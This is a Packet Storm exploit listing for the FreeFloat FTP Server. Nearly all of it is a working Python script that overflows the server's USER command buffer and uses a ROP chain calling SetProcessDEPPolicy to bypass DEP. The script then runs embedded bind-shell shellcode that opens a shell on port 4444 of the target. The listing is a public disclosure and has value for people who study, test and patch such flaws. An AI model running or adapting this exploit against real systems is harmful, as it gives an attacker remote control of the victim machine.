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FreeFloat FTP Server Buffer Overflow

🗓️ 24 Sep 2011 00:00:00Reported by BlakeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 14 Views

FreeFloat FTP Server Buffer Overflow exploit to bypass DE

Code
`#!/usr/bin/python  
import socket, sys  
from struct import pack  
  
print "\n==============================="  
print "Freefloat FTP Server DEP Bypass"  
print " Written by Blake "  
print "===============================\n"  
  
if len(sys.argv) != 3:  
print "[*] Usage: %s <target> <port>\n" % sys.argv[0]  
sys.exit(0)  
  
target = sys.argv[1]  
port = int(sys.argv[2])  
  
# 728 bytes for shellcode  
#Bind Shell shellcode port 4444  
shellcode = ("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4"  
"\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c"  
"\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07"  
"\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07"  
"\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e"  
"\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f"  
"\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38"  
"\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65"  
"\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a"  
"\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74"  
"\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5"  
"\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80"  
"\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4"  
"\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80"  
"\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82"  
"\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a"  
"\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70"  
"\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6"  
"\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4"  
"\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6"  
"\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4"  
"\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53"  
"\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84"  
"\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51"  
"\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a")  
  
buffer = "\x41" * 230  
eip = pack('<L',0x77f613ac) # RETN - shlwapi  
rop = "\x42" * 8 # compensate  
rop += pack('<L',0x77c2362c) # POP EBX, RETN - msvcirt  
rop += "\xff\xff\xff\xff"  
rop += pack('<L',0x77c127e1) # INC EBX, RETN  
rop += pack('<L',0x5d093466) # POP EBP, RETN  
rop += pack('<L',0x7c8622a4) # SetProcessDEPPolicy  
rop += pack('<L',0x5d095470) # POP EDI, RETN  
rop += pack('<L',0x5d095471) # RETN  
rop += pack('<L',0x5d0913b4) # POP ESI, RETN  
rop += pack('<L',0x5d095471) # RETN  
rop += pack('<L',0x77e7d102) # PUSHAD # RETN - RPCRT4  
  
  
  
nops = "\x90" * 10  
junk = "\x42" * (1000 - len(buffer + eip + rop + nops + shellcode))  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
print "[+] Connecting to %s on port %d" % (target,port)  
try:  
s.connect((target,port))  
s.recv(1024)  
print "[+] Sending payload"  
s.send("USER " + buffer + eip + rop + nops + shellcode + junk + "\r\n")  
s.close()  
print "[+] Exploit successfully sent"  
except:  
print "[X] Unable to connect to %s" % target  
  
raw_input("[+] Press any key to exit\n")  
  
`

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